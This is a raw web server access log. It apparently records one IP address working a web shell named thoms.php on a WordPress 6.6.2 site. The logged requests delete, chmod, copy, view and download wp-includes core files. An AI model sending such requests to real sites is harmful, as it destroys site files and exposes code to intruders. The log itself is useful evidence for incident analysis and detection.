45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?del=feed-rss2.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=feed-rss2.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=feed-rss2.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?chmod=class-pop3.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-pop3.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?chmod=class-wp-navigation-fallback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-navigation-fallback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?chmod=class-pop3.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-navigation-fallback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?del=embed-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=embed-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=shortcodes.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=embed-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?del=class-wp-fatal-error-handler.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-fatal-error-handler.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-fatal-error-handler.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?dl=class-wp-meta-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-meta-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?chmod=class-wp-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-meta-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-term-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-term-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22220 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-term-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?del=class-wp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-network.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?chmod=ms-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22177 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=ms-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?dl=block-patterns.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=block-patterns.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-site-query.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22296 "https://163.245.207.76:443/thoms.php?dl=block-patterns.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?dl=class-wp-xmlrpc-server.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-xmlrpc-server.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22188 "https://163.245.207.76:443/thoms.php?dl=class-wp-xmlrpc-server.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wpdb.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wpdb.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?del=functions.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=functions.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wpdb.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?chmod=class-wp-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=functions.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?dl=class-wp-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?dl=class-wp-http-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22283 "https://163.245.207.76:443/thoms.php?dl=class-wp-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?dl=class-wp-role.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-role.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=class-wp-http-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?del=class-wp-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-role.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=default-constants.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?del=plugin.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=plugin.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?chmod=class-wp-error.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-error.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22122 "https://163.245.207.76:443/thoms.php?del=plugin.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?del=class-wp-http-encoding.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-http-encoding.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-error.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=class-wp-http-encoding.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:26 -0400] "GET /thoms.php?chmod=class-wp-roles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-roles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-roles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-scripts.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?chmod=class.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22203 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-bindings HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-bindings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22254 "https://163.245.207.76:443/thoms.php?chmod=class.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22243 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-bindings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffonts HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-control.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-control.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22216 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-control.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?chmod=class-wp-duotone.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-duotone.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
